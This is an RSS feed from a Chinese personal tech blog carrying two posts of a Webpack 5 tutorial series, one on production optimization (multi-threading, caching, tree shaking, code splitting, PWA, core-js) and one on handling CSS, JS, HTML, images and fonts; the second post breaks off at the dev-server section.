<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[删库在逃程序员的Blog]]></title> 
<atom:link href="http://blog.kaiyu.work/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[热爱技术]]></description>
<link>http://blog.kaiyu.work/</link>
<language>zh-cn</language>
<generator>emlog</generator>

<item>
    <title>Webpack 高级优化实战 —— 生产级性能优化指南</title>
    <link>http://blog.kaiyu.work/?post=41</link>
    <description><![CDATA[<h1>Webpack 高级优化实战 —— 生产级性能优化指南</h1>
<blockquote>
<h3>📚 Webpack 系列文章导航</h3>
<p><a href="?post=37">第1篇：入门</a> | <a href="?post=38">第2篇：开发模式</a> | <a href="?post=39">第3篇：生产模式</a> | <a href="?post=40">第4篇：资源处理</a> | <strong>第5篇：高级优化</strong> ← 当前</p>
</blockquote>
<hr />
<h2>一、核心优化思路</h2>
<p>生产级优化从三个维度入手：</p>
<ol>
<li><strong>构建速度优化</strong> — 让打包更快</li>
<li><strong>打包体积优化</strong> — 让文件更小</li>
<li><strong>运行性能优化</strong> — 让代码更快</li>
</ol>
<hr />
<h2>二、构建速度优化</h2>
<h3>2.1 多进程打包</h3>
<p><strong>适用场景：</strong> 大型项目（100+ 文件）</p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i thread-loader -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const os = require("os");
const threads = os.cpus().length;  // 获取 CPU 核心数

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        use: [
          {
            loader: "thread-loader",
            options: {
              workers: threads,  // 进程数量
            },
          },
          {
            loader: "babel-loader",
          },
        ],
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      threads,  // ESLint 也开启多进程
    }),
  ],
  optimization: {
    minimizer: [
      new TerserPlugin({
        parallel: threads,  // 压缩也开启多进程
      }),
    ],
  },
};</code></pre>
<p><strong>⚠️ 注意事项：</strong></p>
<ul>
<li>进程启动开销约 600ms，小项目不建议使用</li>
<li>进程数量 = CPU 核心数，不要设置过多</li>
</ul>
<h3>2.2 缓存优化</h3>
<p><strong>Babel 缓存：</strong></p>
<pre><code class="language-javascript">{
  loader: "babel-loader",
  options: {
    cacheDirectory: true,      // 开启缓存
    cacheCompression: false,   // 不压缩缓存（更快）
  },
}</code></pre>
<p><strong>ESLint 缓存：</strong></p>
<pre><code class="language-javascript">new ESLintWebpackPlugin({
  cache: true,
  cacheLocation: path.resolve(
    __dirname,
    "node_modules/.cache/.eslintcache"
  ),
});</code></pre>
<h3>2.3 缩小处理范围</h3>
<p><strong>使用 <code>include</code> 限定目录：</strong></p>
<pre><code class="language-javascript">{
  test: /\.js$/,
  include: path.resolve(__dirname, "src"),  // 只处理 src 目录
  loader: "babel-loader",
}</code></pre>
<p><strong>使用 <code>exclude</code> 排除目录：</strong></p>
<pre><code class="language-javascript">{
  test: /\.js$/,
  exclude: /node_modules/,  // 排除第三方代码
  loader: "babel-loader",
}</code></pre>
<p><strong>推荐：</strong> 使用 <code>include</code> 更精确，性能更好。</p>
<hr />
<h2>三、打包体积优化</h2>
<h3>3.1 Tree Shaking</h3>
<p><strong>原理：</strong> 移除未使用的 ES Module 代码</p>
<p><strong>启用条件：</strong></p>
<ol>
<li>✅ 使用 ES Module 语法（<code>import</code>/<code>export</code>）</li>
<li>✅ 生产模式（Webpack 默认开启）</li>
<li>✅ <code>package.json</code> 配置 <code>"sideEffects"</code></li>
</ol>
<p><strong>配置：</strong></p>
<pre><code class="language-json">{
  "sideEffects": false  // 所有文件无副作用
}</code></pre>
<p><strong>排除有副作用的文件（如 CSS）：</strong></p>
<pre><code class="language-json">{
  "sideEffects": [
    "*.css",
    "*.scss",
    "*.less"
  ]
}</code></pre>
<h3>3.2 Babel 优化</h3>
<p><strong>问题：</strong> Babel 为每个文件插入重复的辅助代码</p>
<p><strong>解决方案：</strong> 使用 <code>@babel/plugin-transform-runtime</code></p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i @babel/plugin-transform-runtime @babel/runtime -D</code></pre>
<p><strong>babel.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  presets: ["@babel/preset-env"],
  plugins: [
    ["@babel/plugin-transform-runtime", {
      "corejs": 3,  // 启用 core-js polyfill
    }],
  ],
};</code></pre>
<p><strong>效果：</strong> 所有文件共享同一份辅助代码，体积减少 30%-50%。</p>
<h3>3.3 代码分割</h3>
<h4>多入口分割</h4>
<pre><code class="language-javascript">module.exports = {
  entry: {
    main: "./src/main.js",
    admin: "./src/admin.js",
  },
  output: {
    filename: "js/[name].js",
  },
};</code></pre>
<h4>提取公共代码</h4>
<pre><code class="language-javascript">module.exports = {
  optimization: {
    splitChunks: {
      chunks: "all",
      cacheGroups: {
        default: {
          minChunks: 2,        // 至少被引用 2 次
          priority: -20,
          reuseExistingChunk: true,
        },
      },
    },
  },
};</code></pre>
<h4>动态导入（按需加载）</h4>
<pre><code class="language-javascript">// 点击按钮时才加载
document.getElementById("btn").onclick = async () =&gt; {
  const { sum } = await import("./math.js");
  console.log(sum(1, 2, 3, 4));
};

// 自定义 chunk 名称
import(/* webpackChunkName: "math" */ "./math.js")
  .then(({ sum }) =&gt; {
    console.log(sum(1, 2, 3, 4));
  });</code></pre>
<p><strong>输出：</strong> <code>math.chunk.js</code></p>
<hr />
<h2>四、运行性能优化</h2>
<h3>4.1 Preload / Prefetch</h3>
<p><strong>Preload：</strong> 立即加载当前页面需要的资源</p>
<p><strong>Prefetch：</strong> 浏览器空闲时加载下一个页面需要的资源</p>
<p><strong>安装插件：</strong></p>
<pre><code class="language-bash">npm i @vue/preload-webpack-plugin -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const PreloadWebpackPlugin = require("@vue/preload-webpack-plugin");

module.exports = {
  plugins: [
    new PreloadWebpackPlugin({
      rel: "preload",      // 或 prefetch
      as: "script",
    }),
  ],
};</code></pre>
<p><strong>HTML 输出：</strong></p>
<pre><code class="language-html">&lt;!-- Preload：立即加载 --&gt;
&lt;link rel="preload" href="js/math.chunk.js" as="script"&gt;

&lt;!-- Prefetch：空闲时加载 --&gt;
&lt;link rel="prefetch" href="js/next-page.chunk.js"&gt;</code></pre>
<h3>4.2 网络缓存优化</h3>
<p><strong>Hash 类型对比：</strong></p>
<table>
<thead>
<tr>
<th>Hash 类型</th>
<th>说明</th>
<th>适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>hash</code></td>
<td>整个项目的 hash</td>
<td>❌ 不推荐</td>
</tr>
<tr>
<td><code>chunkhash</code></td>
<td>根据入口生成</td>
<td>⚠️ JS 文件</td>
</tr>
<tr>
<td><code>contenthash</code></td>
<td>根据内容生成</td>
<td>✅ <strong>推荐</strong></td>
</tr>
</tbody>
</table>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  output: {
    filename: "js/[name].[contenthash:8].js",
    chunkFilename: "js/[name].[contenthash:8].chunk.js",
    assetModuleFilename: "media/[name].[contenthash:8][ext]",
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: "css/[name].[contenthash:8].css",
      chunkFilename: "css/[name].[contenthash:8].chunk.css",
    }),
  ],
};</code></pre>
<h3>4.3 Runtime 文件</h3>
<p><strong>问题：</strong> 修改一个模块，主文件 hash 也会变化</p>
<p><strong>解决方案：</strong> 提取 runtime 到独立文件</p>
<pre><code class="language-javascript">module.exports = {
  optimization: {
    runtimeChunk: {
      name: "runtime",
    },
  },
};</code></pre>
<p><strong>效果：</strong> 修改业务代码时，只有业务文件和 runtime 变化。</p>
<hr />
<h2>五、PWA 离线缓存</h2>
<h3>5.1 什么是 PWA？</h3>
<p><strong>PWA（Progressive Web App）</strong> 是一种使用 Web 技术开发的应用，具有：</p>
<ul>
<li>✅ 离线访问能力</li>
<li>✅ 可添加到主屏幕</li>
<li>✅ 推送通知</li>
<li>✅ 类似原生应用的体验</li>
</ul>
<h3>5.2 Workbox 配置</h3>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i workbox-webpack-plugin -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const WorkboxPlugin = require("workbox-webpack-plugin");

module.exports = {
  plugins: [
    new WorkboxPlugin.GenerateSW({
      clientsClaim: true,    // 立即接管客户端
      skipWaiting: true,     // 跳过等待阶段
      runtimeCaching: [
        {
          urlPattern: /\.(png|jpe?g|gif|svg)$/,
          handler: "CacheFirst",
          options: {
            cacheName: "images-cache",
            expiration: {
              maxEntries: 50,
              maxAgeSeconds: 30 * 24 * 60 * 60,  // 30 天
            },
          },
        },
        {
          urlPattern: /\.js$/,
          handler: "StaleWhileRevalidate",
          options: {
            cacheName: "js-cache",
          },
        },
      ],
    }),
  ],
};</code></pre>
<h3>5.3 注册 Service Worker</h3>
<pre><code class="language-javascript">// main.js
if ("serviceWorker" in navigator) {
  window.addEventListener("load", () =&gt; {
    navigator.serviceWorker
      .register("/service-worker.js")
      .then((registration) =&gt; {
        console.log("SW registered:", registration);
      })
      .catch((error) =&gt; {
        console.log("SW registration failed:", error);
      });
  });
}</code></pre>
<h3>5.4 测试 PWA</h3>
<p><strong>使用 serve 启动本地服务器：</strong></p>
<pre><code class="language-bash">npm i serve -g
serve dist</code></pre>
<p><strong>注意：</strong> 直接打开 <code>file://</code> 无法测试 Service Worker，必须使用 HTTP 服务器。</p>
<hr />
<h2>六、Core-js  Polyfill</h2>
<h3>6.1 为什么需要 Polyfill？</h3>
<p><strong>问题：</strong> 新语法（如 Promise、Array.includes）在旧浏览器不支持</p>
<p><strong>解决方案：</strong> 使用 <code>core-js</code> 注入 polyfill</p>
<h3>6.2 配置方式</h3>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i core-js -D</code></pre>
<p><strong>babel.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  presets: [
    ["@babel/preset-env", {
      "useBuiltIns": "usage",      // 按需引入
      "corejs": 3,                 // core-js 版本
      "targets": {                 // 目标浏览器
        "chrome": "60",
        "firefox": "60",
        "ie": "11",
      },
    }],
  ],
};</code></pre>
<p><strong>效果：</strong> 自动检测代码中使用的 ES 新特性，按需注入 polyfill。</p>
<h3>6.3 三种模式对比</h3>
<table>
<thead>
<tr>
<th>模式</th>
<th>配置</th>
<th>特点</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>false</code></td>
<td>不注入</td>
<td>体积最小，兼容性差</td>
</tr>
<tr>
<td><code>entry</code></td>
<td>手动引入 <code>core-js</code></td>
<td>体积较大</td>
</tr>
<tr>
<td><code>usage</code></td>
<td>自动检测</td>
<td><strong>推荐</strong>，按需注入</td>
</tr>
</tbody>
</table>
<hr />
<h2>七、性能分析工具</h2>
<h3>7.1 Webpack Bundle Analyzer</h3>
<p><strong>安装：</strong></p>
<pre><code class="language-bash">npm i webpack-bundle-analyzer -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const { BundleAnalyzerPlugin } = require("webpack-bundle-analyzer");

module.exports = {
  plugins: [
    new BundleAnalyzerPlugin({
      analyzerMode: "static",  // 生成 HTML 报告
      openAnalyzer: false,     // 不自动打开
    }),
  ],
};</code></pre>
<p><strong>查看报告：</strong> 打开 <code>dist/report.html</code></p>
<h3>7.2 分析内容</h3>
<ul>
<li>📊 每个模块的体积</li>
<li>📊 依赖关系图</li>
<li>📊 找出体积最大的包</li>
<li>📊 优化建议</li>
</ul>
<hr />
<h2>八、生产模式完整配置</h2>
<h3>8.1 最终配置</h3>
<pre><code class="language-javascript">const os = require("os");
const path = require("path");
const ESLintWebpackPlugin = require("eslint-webpack-plugin");
const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const CssMinimizerPlugin = require("css-minimizer-webpack-plugin");
const TerserPlugin = require("terser-webpack-plugin");
const PreloadWebpackPlugin = require("@vue/preload-webpack-plugin");
const WorkboxPlugin = require("workbox-webpack-plugin");

const threads = os.cpus().length;

const getStyleLoaders = (preProcessor) =&gt; {
  return [
    MiniCssExtractPlugin.loader,
    "css-loader",
    {
      loader: "postcss-loader",
      options: {
        postcssOptions: {
          plugins: ["postcss-preset-env"],
        },
      },
    },
    preProcessor,
  ].filter(Boolean);
};

module.exports = {
  entry: "./src/main.js",
  output: {
    path: path.resolve(__dirname, "dist"),
    filename: "js/[name].[contenthash:8].js",
    chunkFilename: "js/[name].[contenthash:8].chunk.js",
    assetModuleFilename: "media/[name].[contenthash:8][ext]",
    clean: true,
  },
  module: {
    rules: [
      {
        oneOf: [
          {
            test: /\.css$/,
            use: getStyleLoaders(),
          },
          {
            test: /\.less$/,
            use: getStyleLoaders("less-loader"),
          },
          {
            test: /\.s[ac]ss$/,
            use: getStyleLoaders("sass-loader"),
          },
          {
            test: /\.(png|jpe?g|gif|webp)$/,
            type: "asset",
            parser: {
              dataUrlCondition: {
                maxSize: 10 * 1024,
              },
            },
          },
          {
            test: /\.(ttf|woff2?)$/,
            type: "asset/resource",
          },
          {
            test: /\.js$/,
            include: path.resolve(__dirname, "src"),
            use: [
              {
                loader: "thread-loader",
                options: { workers: threads },
              },
              {
                loader: "babel-loader",
                options: {
                  cacheDirectory: true,
                  cacheCompression: false,
                  plugins: ["@babel/plugin-transform-runtime"],
                },
              },
            ],
          },
        ],
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
      exclude: /node_modules/,
      cache: true,
      threads,
    }),
    new HtmlWebpackPlugin({
      template: path.resolve(__dirname, "public/index.html"),
      minify: {
        collapseWhitespace: true,
        removeComments: true,
      },
    }),
    new MiniCssExtractPlugin({
      filename: "css/[name].[contenthash:8].css",
      chunkFilename: "css/[name].[contenthash:8].chunk.css",
    }),
    new PreloadWebpackPlugin({
      rel: "preload",
      as: "script",
    }),
    new WorkboxPlugin.GenerateSW({
      clientsClaim: true,
      skipWaiting: true,
    }),
  ],
  optimization: {
    minimizer: [
      new CssMinimizerPlugin(),
      new TerserPlugin({
        parallel: threads,
      }),
    ],
    splitChunks: {
      chunks: "all",
    },
    runtimeChunk: {
      name: "runtime",
    },
  },
  mode: "production",
  devtool: "source-map",
};</code></pre>
<h3>8.2 打包脚本</h3>
<pre><code class="language-json">{
  "scripts": {
    "build": "npx webpack --config webpack.prod.js",
    "analyze": "npx webpack --config webpack.analyze.js"
  }
}</code></pre>
<hr />
<h2>九、系列总结</h2>
<h3>9.1 五篇文章回顾</h3>
<table>
<thead>
<tr>
<th>篇目</th>
<th>核心内容</th>
<th>关键技能</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>第 1 篇</strong></td>
<td>入门与基础</td>
<td>Webpack 基本概念、快速上手</td>
</tr>
<tr>
<td><strong>第 2 篇</strong></td>
<td>开发模式</td>
<td>HMR、Source Map、OneOf、Cache</td>
</tr>
<tr>
<td><strong>第 3 篇</strong></td>
<td>生产模式</td>
<td>Tree Shaking、代码分割、网络缓存</td>
</tr>
<tr>
<td><strong>第 4 篇</strong></td>
<td>资源处理</td>
<td>CSS/JS/HTML/图片/字体处理</td>
</tr>
<tr>
<td><strong>第 5 篇</strong></td>
<td>高级优化</td>
<td>PWA、Core-js、性能分析</td>
</tr>
</tbody>
</table>
<h3>9.2 性能提升总结</h3>
<table>
<thead>
<tr>
<th>优化项</th>
<th>效果</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>多进程打包</strong></td>
<td>大型项目 2-3 倍</td>
</tr>
<tr>
<td><strong>Tree Shaking</strong></td>
<td>体积减少 20%-40%</td>
</tr>
<tr>
<td><strong>代码分割</strong></td>
<td>初始加载减少 50%+</td>
</tr>
<tr>
<td><strong>网络缓存</strong></td>
<td>二次加载快 80%+</td>
</tr>
<tr>
<td><strong>Babel 优化</strong></td>
<td>体积减少 30%-50%</td>
</tr>
</tbody>
</table>
<h3>9.3 最佳实践清单</h3>
<ul>
<li>✅ 开发模式使用 <code>cheap-module-source-map</code></li>
<li>✅ 开启 HMR 热更新</li>
<li>✅ 使用 <code>oneOf</code> 优化 loader 匹配</li>
<li>✅ 用 <code>include</code> 限定处理范围</li>
<li>✅ 开启 Babel 和 ESLint 缓存</li>
<li>✅ 生产模式开启 Tree Shaking</li>
<li>✅ 使用 <code>contenthash</code> 做长期缓存</li>
<li>✅ 代码分割 + 动态导入</li>
<li>✅ 大型项目开启多进程</li>
<li>✅ 使用 Bundle Analyzer 分析体积</li>
</ul>
<hr />
<h2>十、结语</h2>
<p>🎉 <strong>恭喜！你已经完成了 Webpack 从入门到精通的完整学习！</strong></p>
<p><strong>接下来你可以：</strong></p>
<ol>
<li>📚 深入学习 Webpack 原理（Loader/Plugin 开发）</li>
<li>🛠️ 实战项目应用（React/Vue 项目配置）</li>
<li>🔧 自定义 Loader 和 Plugin</li>
<li>📖 阅读 Webpack 官方文档和源码</li>
</ol>
<p><strong>学习资源推荐：</strong></p>
<ul>
<li><a href="https://webpack.js.org/">Webpack 官方文档</a></li>
<li><a href="https://webpack.docschina.org/">Webpack 中文文档</a></li>
<li><a href="https://github.com/webpack/webpack">GitHub 仓库</a></li>
</ul>
<hr />
<p><strong>系列导航：</strong></p>
<ul>
<li><a href="?post=37">⏭️ 第1篇：入门</a></li>
<li><a href="?post=38">⏭️ 第2篇：开发模式</a></li>
<li><a href="?post=39">⏭️ 第3篇：生产模式</a></li>
<li><a href="?post=40">⏭️ 第4篇：资源处理</a></li>
<li>📌 第5篇：高级优化（本文）</li>
</ul>
<p><strong>🎊 系列完结，感谢阅读！</strong></p>
<hr />
<p><em>本文基于 Webpack 5 编写，如有问题欢迎留言讨论。</em></p>]]></description>
    <pubDate>Sat, 11 Apr 2026 12:49:23 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=41</guid>
</item>
<item>
    <title>Webpack 资源处理大全 —— CSS/JS/HTML/图片/字体完整指南</title>
    <link>http://blog.kaiyu.work/?post=40</link>
    <description><![CDATA[<h1>Webpack 资源处理大全 —— CSS/JS/HTML/图片/字体完整指南</h1>
<blockquote>
<h3>📚 Webpack 系列文章导航</h3>
<p><a href="?post=37">第1篇：入门</a> | <a href="?post=38">第2篇：开发模式</a> | <a href="?post=39">第3篇：生产模式</a> | <strong>第4篇：资源处理</strong> ← 当前 | <a href="?post=41">第5篇：高级优化</a></p>
</blockquote>
<hr />
<h2>一、资源处理概述</h2>
<p>Webpack 的核心功能之一就是<strong>处理各种类型的资源文件</strong>：</p>
<table>
<thead>
<tr>
<th>资源类型</th>
<th>处理方式</th>
<th>核心 Loader/Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSS/Less/Sass</td>
<td>样式处理</td>
<td>style-loader, css-loader</td>
</tr>
<tr>
<td>JavaScript</td>
<td>编译转换</td>
<td>babel-loader</td>
</tr>
<tr>
<td>HTML</td>
<td>模板生成</td>
<td>html-webpack-plugin</td>
</tr>
<tr>
<td>图片</td>
<td>资源模块</td>
<td>Asset Modules</td>
</tr>
<tr>
<td>字体图标</td>
<td>资源模块</td>
<td>Asset Modules</td>
</tr>
</tbody>
</table>
<hr />
<h2>二、CSS 资源处理</h2>
<h3>2.1 基础 CSS 处理</h3>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i style-loader css-loader -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: ["style-loader", "css-loader"],  // 从右到左执行
      },
    ],
  },
};</code></pre>
<p><strong>两个 Loader 的作用：</strong></p>
<table>
<thead>
<tr>
<th>Loader</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>css-loader</code></td>
<td>将 CSS 编译成 Webpack 能识别的模块</td>
</tr>
<tr>
<td><code>style-loader</code></td>
<td>创建 <code>&lt;style&gt;</code> 标签，将样式注入页面</td>
</tr>
</tbody>
</table>
<p><strong>在 JS 中引入 CSS：</strong></p>
<pre><code class="language-javascript">// main.js
import "./css/index.css";</code></pre>
<h3>2.2 Less/Sass/Stylus 处理</h3>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i less-loader -D                    # Less
npm i sass-loader sass -D               # Sass/Scss
npm i stylus-loader -D                  # Stylus</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.less$/,
        use: ["style-loader", "css-loader", "less-loader"],
      },
      {
        test: /\.s[ac]ss$/,
        use: ["style-loader", "css-loader", "sass-loader"],
      },
      {
        test: /\.styl$/,
        use: ["style-loader", "css-loader", "stylus-loader"],
      },
    ],
  },
};</code></pre>
<p><strong>使用示例：</strong></p>
<pre><code class="language-javascript">// main.js
import "./css/index.css";
import "./less/index.less";
import "./sass/index.scss";
import "./styl/index.styl";</code></pre>
<h3>2.3 CSS 兼容性处理</h3>
<p>使用 <code>postcss-loader</code> 自动添加浏览器前缀：</p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i postcss-loader postcss postcss-preset-env -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          "style-loader",
          "css-loader",
          {
            loader: "postcss-loader",
            options: {
              postcssOptions: {
                plugins: [
                  "postcss-preset-env",  // 自动添加浏览器前缀
                ],
              },
            },
          },
        ],
      },
    ],
  },
};</code></pre>
<p><strong>效果：</strong></p>
<pre><code class="language-css">/* 输入 */
.box {
  display: flex;
}

/* 输出（自动添加前缀） */
.box {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}</code></pre>
<hr />
<h2>三、JavaScript 资源处理</h2>
<h3>3.1 Babel 编译</h3>
<p><strong>作用：</strong> 将 ES6+ 语法转换为向后兼容的 JavaScript</p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i babel-loader @babel/core @babel/preset-env -D</code></pre>
<p><strong>babel.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  presets: ["@babel/preset-env"],
};</code></pre>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,  // 排除第三方代码
        loader: "babel-loader",
      },
    ],
  },
};</code></pre>
<h3>3.2 ESLint 代码检查</h3>
<p><strong>作用：</strong> 统一团队代码风格，提前发现潜在问题</p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i eslint-webpack-plugin eslint -D</code></pre>
<p><strong>.eslintrc.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  extends: ["eslint:recommended"],
  env: {
    node: true,
    browser: true,
  },
  parserOptions: {
    ecmaVersion: 6,
    sourceType: "module",
  },
  rules: {
    "no-var": 2,  // 禁止使用 var
  },
};</code></pre>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">const ESLintWebpackPlugin = require("eslint-webpack-plugin");

module.exports = {
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),  // 检查根目录
      exclude: /node_modules/,  // 排除 node_modules
    }),
  ],
};</code></pre>
<h3>3.3 忽略 ESLint 检查的文件</h3>
<p>创建 <code>.eslintignore</code> 文件：</p>
<pre><code># 忽略 dist 目录
dist
# 忽略构建文件
build</code></pre>
<hr />
<h2>四、HTML 资源处理</h2>
<h3>4.1 HtmlWebpackPlugin</h3>
<p><strong>作用：</strong></p>
<ol>
<li>自动生成 HTML 文件</li>
<li>自动引入打包生成的 JS/CSS 资源</li>
<li>支持自定义模板</li>
</ol>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i html-webpack-plugin -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const HtmlWebpackPlugin = require("html-webpack-plugin");

module.exports = {
  plugins: [
    new HtmlWebpackPlugin({
      template: "./public/index.html",  // 模板文件
      filename: "index.html",           // 输出文件名
      minify: {
        collapseWhitespace: true,       // 压缩 HTML
        removeComments: true,           // 移除注释
      },
    }),
  ],
};</code></pre>
<p><strong>模板文件（public/index.html）：</strong></p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt;
    &lt;title&gt;Webpack App&lt;/title&gt;
    &lt;!-- 不需要手动引入 JS，插件会自动添加 --&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;div id="app"&gt;&lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<p><strong>输出结果：</strong></p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt;
    &lt;title&gt;Webpack App&lt;/title&gt;
    &lt;script src="main.a1b2c3d4.js"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;div id="app"&gt;&lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<h3>4.2 HTML 压缩</h3>
<p><strong>生产模式默认开启 HTML 压缩</strong>，无需额外配置。</p>
<p>如需自定义压缩选项：</p>
<pre><code class="language-javascript">new HtmlWebpackPlugin({
  template: "./public/index.html",
  minify: {
    collapseWhitespace: true,    // 折叠空白
    removeComments: true,        // 移除注释
    removeAttributeQuotes: true, // 移除属性引号
    minifyCSS: true,             // 压缩内联 CSS
    minifyJS: true,              // 压缩内联 JS
  },
});</code></pre>
<hr />
<h2>五、图片资源处理</h2>
<h3>5.1 Asset Modules（Webpack 5 内置）</h3>
<p>Webpack 5 使用 <strong>Asset Modules</strong> 处理图片，无需额外安装 Loader。</p>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.(png|jpe?g|gif|webp|svg)$/,
        type: "asset",  // 自动选择 inline 或 resource
        parser: {
          dataUrlCondition: {
            maxSize: 10 * 1024,  // 小于 10kb 转 base64
          },
        },
        generator: {
          filename: "static/imgs/[hash:8][ext][query]",
        },
      },
    ],
  },
};</code></pre>
<p><strong>type 的四种类型：</strong></p>
<table>
<thead>
<tr>
<th>类型</th>
<th>作用</th>
<th>相当于</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>asset</code></td>
<td>自动选择 inline 或 resource</td>
<td>url-loader</td>
</tr>
<tr>
<td><code>asset/resource</code></td>
<td>输出文件 URL</td>
<td>file-loader</td>
</tr>
<tr>
<td><code>asset/inline</code></td>
<td>输出 base64 Data URI</td>
<td>url-loader (仅 inline)</td>
</tr>
<tr>
<td><code>asset/source</code></td>
<td>输出文件原始内容</td>
<td>raw-loader</td>
</tr>
</tbody>
</table>
<h3>5.2 使用方式</h3>
<p><strong>在 CSS 中使用：</strong></p>
<pre><code class="language-css">/* less/index.less */
.box {
  width: 100px;
  height: 100px;
  background-image: url("../images/bg.png");
  background-size: cover;
}</code></pre>
<p><strong>在 JS 中使用：</strong></p>
<pre><code class="language-javascript">// main.js
import logo from "./images/logo.png";

const img = document.createElement("img");
img.src = logo;
document.body.appendChild(img);</code></pre>
<h3>5.3 图片压缩</h3>
<p><strong>安装插件：</strong></p>
<pre><code class="language-bash">npm i image-minimizer-webpack-plugin imagemin -D
npm i imagemin-gifsicle imagemin-mozjpeg imagemin-pngquant imagemin-svgo -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const ImageMinimizerPlugin = require("image-minimizer-webpack-plugin");

module.exports = {
  optimization: {
    minimizer: [
      new ImageMinimizerPlugin({
        minimizer: {
          implementation: ImageMinimizerPlugin.imageminGenerate,
          options: {
            plugins: [
              ["gifsicle", { interlaced: true }],
              ["jpegtran", { progressive: true }],
              ["optipng", { optimizationLevel: 5 }],
              [
                "svgo",
                {
                  plugins: [
                    "preset-default",
                    "prefixIds",
                  ],
                },
              ],
            ],
          },
        },
      }),
    ],
  },
};</code></pre>
<hr />
<h2>六、字体图标处理</h2>
<h3>6.1 下载字体图标</h3>
<ol>
<li>打开 <a href="https://www.iconfont.cn/">阿里巴巴矢量图标库</a></li>
<li>选择图标添加到购物车</li>
<li>下载到本地，解压到 <code>src/fonts/</code> 目录</li>
</ol>
<h3>6.2 配置</h3>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.(ttf|woff2?|eot)$/,
        type: "asset/resource",
        generator: {
          filename: "static/fonts/[hash:8][ext][query]",
        },
      },
    ],
  },
};</code></pre>
<h3>6.3 使用方式</h3>
<p><strong>引入 CSS 文件：</strong></p>
<pre><code class="language-javascript">// main.js
import "./css/iconfont.css";</code></pre>
<p><strong>在 HTML 中使用：</strong></p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;title&gt;Webpack App&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;!-- 使用字体图标 --&gt;
    &lt;i class="iconfont icon-arrow-down"&gt;&lt;/i&gt;
    &lt;i class="iconfont icon-ashbin"&gt;&lt;/i&gt;
    &lt;i class="iconfont icon-browse"&gt;&lt;/i&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<hr />
<h2>七、开发服务器</h2>
<h3>7.1 安装与配置</h3>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i webpack-dev-server -D</code></pre>
<p><strong>配置：</strong></p>
